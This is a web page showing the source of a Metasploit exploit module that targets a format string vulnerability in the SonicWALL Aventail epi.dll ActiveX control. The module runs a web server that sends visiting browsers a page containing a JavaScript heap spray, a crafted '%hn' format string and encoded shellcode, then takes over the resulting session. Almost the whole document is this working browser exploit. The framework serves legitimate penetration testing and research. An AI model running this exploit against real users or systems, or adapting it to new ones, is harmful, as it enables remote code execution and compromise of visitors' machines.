Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/aventail_epi_activex.rb
19513 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking # heap spray and address shifty
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'SonicWALL Aventail epi.dll AuthCredential Format String',
16
'Description' => %q{
17
This module exploits a format string vulnerability within version 10.0.4.x and
18
10.5.1 of the SonicWALL Aventail SSL-VPN Endpoint Interrogator/Installer ActiveX
19
control (epi.dll). By calling the 'AuthCredential' method with a specially
20
crafted Unicode format string, an attacker can cause memory corruption and
21
execute arbitrary code.
22
23
Unfortunately, it does not appear to be possible to indirectly re-use existing
24
stack data for more reliable exploitation. This is due to several particulars
25
about this vulnerability. First, the format string must be a Unicode string,
26
which uses two bytes per character. Second, the buffer is allocated on the
27
stack using the 'alloca' function. As such, each additional format specifier (%x)
28
will add four more bytes to the size allocated. This results in the inability to
29
move the read pointer outside of the buffer.
30
31
Further testing showed that using specifiers that pop more than four bytes does
32
not help. Any number of format specifiers will result in accessing the same value
33
within the buffer.
34
35
NOTE: It may be possible to leverage the vulnerability to leak memory contents.
36
However, that has not been fully investigated at this time.
37
},
38
'License' => MSF_LICENSE,
39
'Author' => [
40
'Nikolas Sotiriu', # original discovery / poc
41
'jduck' # Metasploit module
42
],
43
'References' => [
44
[ 'OSVDB', '67286'],
45
[ 'URL', 'http://sotiriu.de/adv/NSOADV-2010-005.txt' ]
46
],
47
'DefaultOptions' => {
48
'EXITFUNC' => 'process',
49
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
50
},
51
'Payload' => {
52
'Space' => 1024,
53
'BadChars' => "\x00",
54
'StackAdjustment' => -3500,
55
},
56
'Platform' => 'win',
57
'Targets' => [
58
[
59
'epi.dll v10.0.4.18 on Windows XP SP3',
60
{
61
# NOTE: Unfortunately, this address varies from execution to execution
62
'Write' => 0x1240000 + 0x501d4 + 2, # smashed high 16-bits of a vtable ptr :)
63
# 0x1d5005c, # crashes on deref+call
64
'Ret' => 0x04040404
65
}
66
]
67
],
68
'DisclosureDate' => '2010-08-19',
69
'DefaultTarget' => 0,
70
'Notes' => {
71
'Reliability' => UNKNOWN_RELIABILITY,
72
'Stability' => UNKNOWN_STABILITY,
73
'SideEffects' => UNKNOWN_SIDE_EFFECTS
74
}
75
)
76
)
77
end
78
79
def autofilter
80
false
81
end
82
83
def check_dependencies
84
use_zlib
85
end
86
87
def on_request_uri(cli, request)
88
clsid = "2A1BE1E7-C550-4D67-A553-7F2D3A39233D"
89
progid = "Aventail.EPInterrogator.10.0.4.018"
90
91
method = "AuthCredential"
92
93
# Re-generate the payload
94
return if ((p = regenerate_payload(cli)) == nil)
95
96
# Encode the shellcode
97
shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))
98
99
# Setup exploit buffers
100
nops = Rex::Text.to_unescape([target.ret].pack('V'))
101
write = Rex::Text.to_unescape([target['Write']].pack('V'))
102
103
# Setup format string offset
104
printed = 0xb1 - 5
105
ret = (target.ret >> 16) - printed
106
107
# Setup heap spray
108
blocksize = 0x40000
109
fillto = 300
110
111
# Randomize the javascript variable names
112
axobj = "axobj" # rand_text_alpha(rand(100) + 1)
113
j_format = "fmt" # rand_text_alpha(rand(100) + 1)
114
j_counter = "i" # rand_text_alpha(rand(30) + 2)
115
# heap spray vars
116
j_shellcode = rand_text_alpha(rand(100) + 1)
117
j_nops = rand_text_alpha(rand(100) + 1)
118
j_ret = rand_text_alpha(rand(100) + 1)
119
j_headersize = rand_text_alpha(rand(100) + 1)
120
j_slackspace = rand_text_alpha(rand(100) + 1)
121
j_fillblock = rand_text_alpha(rand(100) + 1)
122
j_block = rand_text_alpha(rand(100) + 1)
123
j_memory = rand_text_alpha(rand(100) + 1)
124
125
# NOTE: the second assignment triggers the shellcode
126
content = %Q|<html>
127
<object classid='clsid:#{clsid}' id='#{axobj}'></object>
128
<script>
129
#{j_shellcode}=unescape('#{shellcode}');
130
#{j_nops}=unescape('#{nops}');
131
#{j_headersize}=20;
132
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
133
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
134
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
135
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
136
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
137
#{j_memory}=new Array();
138
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
139
140
#{j_format} = unescape("#{write}");
141
#{j_format} += '%#{ret}x';
142
for (#{j_counter} = 0; #{j_counter} < 22; #{j_counter}++)
143
#{j_format} += '%x';
144
#{j_format} += '%hn';
145
146
#{axobj}.#{method} = #{j_format};
147
#{axobj}.#{method} = #{j_format};
148
</script>
149
</html>|
150
151
print_status("Sending #{self.name}")
152
153
# Transmit the response to the client
154
send_response_html(cli, content)
155
156
# Handle the payload
157
handler(cli)
158
end
159
end
160
161